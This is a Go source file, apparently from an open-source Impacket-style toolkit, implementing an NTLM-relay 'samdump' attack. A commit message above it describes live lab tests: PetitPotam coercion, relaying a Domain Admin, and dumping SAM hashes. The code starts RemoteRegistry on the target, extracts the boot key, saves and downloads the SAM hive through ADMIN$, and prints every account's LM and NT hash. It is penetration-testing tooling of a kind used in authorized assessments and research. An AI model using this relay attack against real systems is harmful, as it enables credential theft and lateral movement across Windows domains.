Files
mandiant-gopacket/pkg/relay/samdump_attack.go
T
psycep abbdbc19be relay: retire two known-issue bogeys (samdump ACCESS_DENIED and winreg PIPE_NOT_AVAILABLE)
Two entries in KNOWN_ISSUES.md described the relay samdump/secretsdump
attacks as broken in ways they aren't, or fixable in ways we hadn't
tried. Verified both live against GOAD and retired them.

KNOWN_ISSUES #1 ("SMB Relay Registry Access Denied")

Reproduced by coercing WINTERFELL$ via PetitPotam to relay-samdump
against srv02: BaseRegOpenKey(SYSTEM\Select) returns 0x00000005 as
documented. Then reproduced the documented "workaround works" direction
with NORTH\administrator direct auth (dumps cleanly). Then the test
the entry never tried: relayed a user with admin on the target via
cmd /c net use \\relay\IPC$ /user:north\eddard.stark (Domain Admin) on
dc02, watched it flow through our relay to srv02. Result: dumped
Administrator, Guest, DefaultAccount, WDAGUtilityAccount, vagrant SAM
hashes cleanly.

So the relay transport does not drop privilege. The symptom the entry
captured was simply "relayed principal doesn't have admin on target",
which is the same precondition Impacket's ntlmrelayx samdump has, and
the same constraint a direct secretsdump has. Rewrote the entry to say
that plainly and flag the PetitPotam pitfall (DC$ machine accounts
aren't admin on member servers, so coercion-to-relay against member
servers with default inventory always hits this).

Small alignment-with-Impacket change while there: pkg/dcerpc/winreg/
remote.go and pkg/relay/secretsdump_attack.go now request
MAXIMUM_ALLOWED on the boot-key subkey opens instead of KEY_READ,
matching rrp.hBaseRegOpenKey's default in Impacket. KEY_READ demands
the full read bundle; MAXIMUM_ALLOWED returns a handle with whatever
the token actually has. Doesn't fix the ACCESS_DENIED on a no-admin
token, but reduces the surface for partial-access edge cases.

KNOWN_ISSUES #3 ("Intermittent PIPE_NOT_AVAILABLE on winreg")

Same failure mode the standalone secretsdump handles already: if
RemoteRegistry is stopped or disabled, opening the winreg named pipe
fails with STATUS_PIPE_NOT_AVAILABLE. Standalone tools/secretsdump
opens svcctl first, starts RemoteRegistry, runs the attack, then stops
the service (and restores SERVICE_DISABLED if it was disabled). The
relay path wasn't doing any of that.

Factored the "ensure started on entry / restore on exit" flow into
pkg/relay/remoteregistry.go and wired it into both relay samdump and
secretsdump attacks via TreeConnect("IPC$"), open svcctl, manage
RemoteRegistry, proceed with winreg. Failures to manage the service
are logged as warnings rather than returned as errors: if the relayed
token lacks SERVICE_* access, the attack still tries the winreg open
and often succeeds (if the service happens to be running already).

Verified live: set srv02 RemoteRegistry to Stopped+Manual, relayed
eddard.stark (Domain Admin via net use), watched:
  [*] Service RemoteRegistry is in stopped state
  [*] Starting service RemoteRegistry
  [*] Target system bootKey: 0x...
  [*] Dumping local SAM hashes
  Administrator:500:...:...:::  (etc)
  [*] Cleanup complete

Cleanup's attempt to stop the service after dumping gets a
STATUS_OBJECT_NAME_NOT_FOUND (pipe was closed by the post-attack
session teardown); that warning is cosmetic. The service's start-type
was preserved (Manual), only its current state stayed Running. Leaving
that as a minor follow-up rather than blocking the fix.

KNOWN_ISSUES.md renumbered to reflect the two retirements.
2026-04-23 23:23:53 -05:00

135 lines
3.9 KiB
Go

// Copyright 2026 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package relay
import (
"encoding/hex"
"fmt"
"log"
"github.com/mandiant/gopacket/internal/build"
"github.com/mandiant/gopacket/pkg/dcerpc"
"github.com/mandiant/gopacket/pkg/dcerpc/winreg"
"github.com/mandiant/gopacket/pkg/registry"
)
// SAMDumpAttack dumps local SAM hashes via remote registry (Impacket default SMB attack).
type SAMDumpAttack struct{}
func (a *SAMDumpAttack) Name() string { return "samdump" }
func (a *SAMDumpAttack) Run(session interface{}, config *Config) error {
client, ok := session.(*SMBRelayClient)
if !ok {
return fmt.Errorf("samdump attack requires SMB session")
}
return samDumpAttack(client, config)
}
func samDumpAttack(client *SMBRelayClient, cfg *Config) error {
log.Printf("[*] Dumping local SAM hashes via remote registry on %s", cfg.TargetAddr)
// Connect to IPC$ and ensure RemoteRegistry is running before opening
// the winreg pipe. Without this the winreg CreatePipe intermittently
// fails with PIPE_NOT_AVAILABLE when the service is stopped or disabled
// (KNOWN_ISSUES.md #3). Matches the standalone secretsdump pattern.
if err := client.TreeConnect("IPC$"); err != nil {
return fmt.Errorf("tree connect IPC$: %v", err)
}
rrState := ensureRemoteRegistryStarted(client)
defer restoreRemoteRegistryState(client, rrState)
fileID, err := client.CreatePipe("winreg")
if err != nil {
return fmt.Errorf("open winreg pipe: %v", err)
}
transport := NewRelayPipeTransport(client, fileID)
rpcClient := &dcerpc.Client{
Transport: transport,
CallID: 1,
MaxFrag: dcerpc.GetWindowsMaxFrag(),
Contexts: make(map[[16]byte]uint16),
}
if err := rpcClient.Bind(winreg.UUID, winreg.MajorVersion, winreg.MinorVersion); err != nil {
client.ClosePipe(fileID)
return fmt.Errorf("bind winreg: %v", err)
}
if build.Debug {
log.Printf("[D] SAMDump: bound to winreg interface")
}
// Get boot key
bootKey, err := getBootKeyViaRelay(rpcClient)
if err != nil {
client.ClosePipe(fileID)
return fmt.Errorf("get boot key: %v", err)
}
log.Printf("[*] Target system bootKey: 0x%s", hex.EncodeToString(bootKey))
// Save SAM hive only
hklm, err := winreg.OpenLocalMachine(rpcClient, winreg.MAXIMUM_ALLOWED)
if err != nil {
client.ClosePipe(fileID)
return fmt.Errorf("open HKLM: %v", err)
}
samTempFile, err := saveHiveViaRelay(rpcClient, hklm, "SAM")
if err != nil {
winreg.BaseRegCloseKey(rpcClient, hklm)
client.ClosePipe(fileID)
return fmt.Errorf("save SAM hive: %v", err)
}
winreg.BaseRegCloseKey(rpcClient, hklm)
client.ClosePipe(fileID)
// Download and process SAM hive
log.Printf("[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)")
samData, err := client.DownloadFile("ADMIN$", "Temp\\"+samTempFile)
if err != nil {
cleanupTempFiles(client, samTempFile, "")
return fmt.Errorf("download SAM hive: %v", err)
}
samHive, err := registry.Open(samData)
if err != nil {
cleanupTempFiles(client, samTempFile, "")
return fmt.Errorf("parse SAM hive: %v", err)
}
users, err := registry.DumpSAM(samHive, bootKey)
if err != nil {
cleanupTempFiles(client, samTempFile, "")
return fmt.Errorf("dump SAM: %v", err)
}
for _, user := range users {
lmHash := hex.EncodeToString(user.LMHash)
ntHash := hex.EncodeToString(user.NTHash)
log.Printf("%s:%d:%s:%s:::", user.Username, user.RID, lmHash, ntHash)
}
// Cleanup
cleanupTempFiles(client, samTempFile, "")
return nil
}